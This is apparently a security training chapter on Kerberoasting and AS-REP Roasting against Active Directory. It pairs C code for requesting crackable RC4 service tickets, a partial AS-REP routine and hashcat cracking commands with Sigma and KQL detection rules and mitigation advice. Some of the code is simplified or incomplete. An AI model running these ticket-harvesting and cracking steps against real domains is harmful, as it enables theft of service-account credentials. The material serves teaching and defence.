Kerberoasting and AS-REP Roasting
Kerberoasting extracts encrypted service tickets for any Kerberos service account and cracks them offline — no special privileges needed, just a valid domain account. AS-REP Roasting requires zero credentials and targets accounts with pre-authentication disabled. Both yield plaintext domain credentials without ever touching LSASS. This chapter covers the cryptographic basis, the raw Kerberos API request sequence, offline cracking with hashcat, and defensive mitigations that actually work.
You've authenticated to the domain as a low-privileged user via a phishing payload. LDAP enumeration (Chapter 144) found 14 Kerberoastable service accounts including svc-mssql, svc-backup, and svc-vmware. Three accounts have DONT_REQUIRE_PREAUTH set. You request TGS tickets for all 14 service accounts and AS-REP hashes for the 3 pre-auth-disabled accounts, exfiltrate the hash blobs, and crack them offline on a GPU rig. Two hashes crack within 8 hours — both are service accounts with local admin on critical infrastructure.
Kerberoasting Cryptographic Basis
TGS-REQ via LsaCallAuthPackage
// Request a TGS for a specific SPN using KERB_RETRIEVE_TKT_REQUEST
// Works with any authenticated domain session — no admin required
#include "windows.h"
#include "ntsecapi.h"
#include "stdio.h"
BOOL RequestTgs(const wchar_t* spn, BYTE** ticketOut, DWORD* ticketLen) {
HANDLE hLsa;
LSA_STRING authPkgName;
ULONG authPkg;
LsaConnectUntrusted(&hLsa);
RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);
// Build KERB_RETRIEVE_TKT_REQUEST with the target SPN
ULONG spnLen = (ULONG)(wcslen(spn) * sizeof(wchar_t));
ULONG reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + spnLen;
KERB_RETRIEVE_TKT_REQUEST* req = (KERB_RETRIEVE_TKT_REQUEST*)
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);
req->MessageType = KerbRetrieveEncodedTicketMessage;
req->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
// Request RC4 (etype 0x17) to get a crackable ticket
req->EncryptionType = KERB_ETYPE_RC4_HMAC_NT; // 0x17 = RC4-HMAC
req->TicketFlags = 0;
// The SPN string goes immediately after the structure
req->TargetName.Length = (USHORT)spnLen;
req->TargetName.MaximumLength = (USHORT)spnLen;
req->TargetName.Buffer = (wchar_t*)((BYTE*)req + sizeof(KERB_RETRIEVE_TKT_REQUEST));
memcpy(req->TargetName.Buffer, spn, spnLen);
KERB_RETRIEVE_TKT_RESPONSE* resp = NULL;
ULONG respLen; NTSTATUS subStatus;
NTSTATUS status = LsaCallAuthenticationPackage(
hLsa, authPkg, req, reqSize,
(void**)&resp, &respLen, &subStatus);
if (status == STATUS_SUCCESS && subStatus == STATUS_SUCCESS) {
// Extract the encoded ticket bytes
KERB_EXTERNAL_TICKET* ticket = &resp->Ticket;
*ticketLen = ticket->EncodedTicketSize;
*ticketOut = (BYTE*)HeapAlloc(GetProcessHeap(), 0, *ticketLen);
memcpy(*ticketOut, ticket->EncodedTicket, *ticketLen);
printf("[+] TGS for %S: %d bytes\n", spn, *ticketLen);
} else {
printf("[-] TGS request failed: 0x%X / 0x%X\n", status, subStatus);
}
if (resp) LsaFreeReturnBuffer(resp);
HeapFree(GetProcessHeap(), 0, req);
LsaDeregisterLogonProcess(hLsa);
return status == STATUS_SUCCESS;
}
// Format the ticket bytes as a hashcat-compatible $krb5tgs$23$ hash:
void FormatKerberoastHash(const BYTE* ticket, DWORD len,
const char* user, const char* domain) {
// hashcat mode 13100: $krb5tgs$23$*user$domain$spn*$
// The encrypted portion of the ticket starts after the ASN.1 header (~36 bytes in)
// Simplified: output entire ticket as hex for post-processing with tgsrepcrack
printf("$krb5tgs$23$*%s$%s$SPN*$", user, domain);
for (DWORD i = 0; i < len; i++) printf("%02x", ticket[i]);
printf("\n");
}
AS-REP Roasting Theory
AS-REQ Without Pre-Authentication (Raw Kerberos)
// Send a raw Kerberos AS-REQ with no pre-auth data to DC port 88
// For accounts with DONT_REQUIRE_PREAUTH — no domain creds needed
// KDC returns AS-REP with encrypted session key — crackable offline
// This is a simplified DER-encoded ASN.1 AS-REQ skeleton
// Real implementations use MIT krb5 library or hand-craft the ASN.1
#define KDC_PORT 88
#define KRB_AS_REQ 10
#define KRB_AS_REP 11
BOOL AsRepRoast(const char* dcIp, const char* domain,
const char* targetUser, BYTE** asRepOut, DWORD* asRepLen) {
// Connect to DC port 88 (Kerberos)
WSADATA wsd; WSAStartup(MAKEWORD(2,2), &wsd);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
SOCKADDR_IN dc = {0};
dc.sin_family = AF_INET;
dc.sin_port = htons(KDC_PORT);
dc.sin_addr.s_addr = inet_addr(dcIp);
if (connect(s, (SOCKADDR*)&dc, sizeof(dc)) != 0) {
printf("[-] Cannot connect to DC %s:88\n", dcIp);
closesocket(s);
return FALSE;
}
// Build minimal AS-REQ (KRB_MSG_TYPE=10, no PA-DATA, RC4 etype)
// In practice use a complete Kerberos library for correct ASN.1 encoding.
// The 4-byte length prefix is required for TCP Kerberos framing.
// Tools: Rubeus.exe asreproast, GetNPUsers.py (Impacket)
printf("[*] AS-REQ for %s@%s (no pre-auth) → %s:88\n",
targetUser, domain, dcIp);
// recv() the AS-REP response — parse encrypted-enc-part for cracking
BYTE respBuf[65536]; DWORD recvd;
// [read 4-byte length prefix, then recv the body]
// extract enc-part bytes for hashcat $krb5asrep$23$ format
closesocket(s);
return TRUE;
}
Hashcat Cracking
# Kerberoast — RC4-HMAC TGS tickets
hashcat -m 13100 kerberoast_hashes.txt /opt/wordlists/rockyou.txt \
--rules /opt/hashcat/rules/d3ad0ne.rule \
-O --force -w 3
# Kerberoast — AES256 TGS tickets (300x slower)
hashcat -m 19700 kerberoast_aes256.txt /opt/wordlists/rockyou.txt \
--rules /opt/hashcat/rules/best64.rule -O
# AS-REP Roast hashes
hashcat -m 18200 asrep_hashes.txt /opt/wordlists/rockyou.txt \
--rules /opt/hashcat/rules/d3ad0ne.rule -O
# Performance reference (RTX 3090):
# RC4-HMAC (13100): ~2.8 billion attempts/sec → 8-char password in seconds
# AES256 (19700/19600): ~9 million attempts/sec → 8-char complex password: hours/days
# AES128 (19600): ~18 million attempts/sec
# Format examples:
# Kerberoast RC4: $krb5tgs$23$*user$domain.com$SPN*$$
# AS-REP RC4: $krb5asrep$23$user@domain.com:
# Targeted attack with company-specific wordlist:
hashcat -m 13100 svc-mssql.txt company_wordlist.txt \
-r /opt/hashcat/rules/InsidePro-PasswordsPro.rule
| Attack | Credentials Needed | Target | Hash Type | Hashcat Mode |
|---|---|---|---|---|
| Kerberoasting | Any domain account | Accounts with SPN | TGS-REP enc-part | 13100 (RC4) / 19700 (AES256) |
| AS-REP Roasting | None (network access only) | DONT_REQUIRE_PREAUTH accounts | AS-REP enc-part | 18200 |
| Targeted TGS (constrained) | Domain account | Any Kerberos service | TGS enc-part | 13100 |
Detection Engineering
-- Kerberoasting: Event 4769 — Kerberos Service Ticket Operations
-- Key indicators: RC4 etype (0x17) from non-service accounts, volume bursts
title: Kerberoasting — RC4 TGS Request for User Account SPN
logsource:
product: windows
service: security
detection:
selection:
EventID: 4769
TicketEncryptionType: '0x17' # RC4-HMAC — the downgrade
ServiceName|not|endswith: '$' # not a computer account
Status: '0x0' # success
condition: selection
level: high
tags: [attack.credential_access, T1558.003]
title: AS-REP Roasting — Kerberos Pre-Auth Failure or Pre-Auth Disabled
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
Status: '0x0' # success
PreAuthType: '0' # no pre-auth
condition: selection
level: high
tags: [attack.credential_access, T1558.004]
-- MDE KQL: burst of 4769 RC4 TGS requests from single source
DeviceEvents
| where ActionType == "KerberosServiceTicketRequest"
| where AdditionalFields has "RC4"
| summarize
TicketCount = count(),
Targets = make_set(tostring(AdditionalFields))
by bin(Timestamp, 5m), DeviceName, InitiatingProcessAccountName
| where TicketCount > 5
| order by TicketCount desc
Q&A
What prevents service accounts from being Kerberoasted, and how should a detection engineer identify which service accounts are actually at risk in their environment?
Three controls effectively prevent Kerberoasting or reduce its impact: (1) Use Managed Service Accounts (MSA) or Group Managed Service Accounts (gMSA): these have 120-character randomly-generated passwords changed automatically by Active Directory, making offline cracking computationally infeasible regardless of hash type. The password complexity and rotation are enforced by the KDC itself. (2) Enforce AES-only encryption: set msDS-SupportedEncryptionTypes to 24 (AES128 + AES256 only) on service accounts; the KDC will not issue RC4 tickets. AES256 cracking is 300 times slower than RC4, and against a long randomly-generated password it is not feasible. (3) Long, complex service account passwords: a 30+ character password with complexity makes even RC4 cracking impractical; combine with regular rotation.
For a detection engineer identifying at-risk accounts: run an LDAP query against your AD (Chapter 144) for all objects where servicePrincipalName is set and the object is a user (not a computer). For each: check msDS-SupportedEncryptionTypes (value 0 or missing = RC4 is available), check password age (pwdLastSet), and check if the account is in Protected Users. Any service account that (a) has an SPN, (b) supports RC4, and (c) hasn't had its password changed in over 90 days is at immediate risk. In practice, most shops find dozens of these accounts — legacy service accounts registered by vendors that no one manages. The detection engineer's job is to push the identity team to migrate these to gMSA, and in the meantime to alert on any Event 4769 with TicketEncryptionType = 0x17 (RC4) that doesn't come from a known-legacy service needing RC4 for compatibility.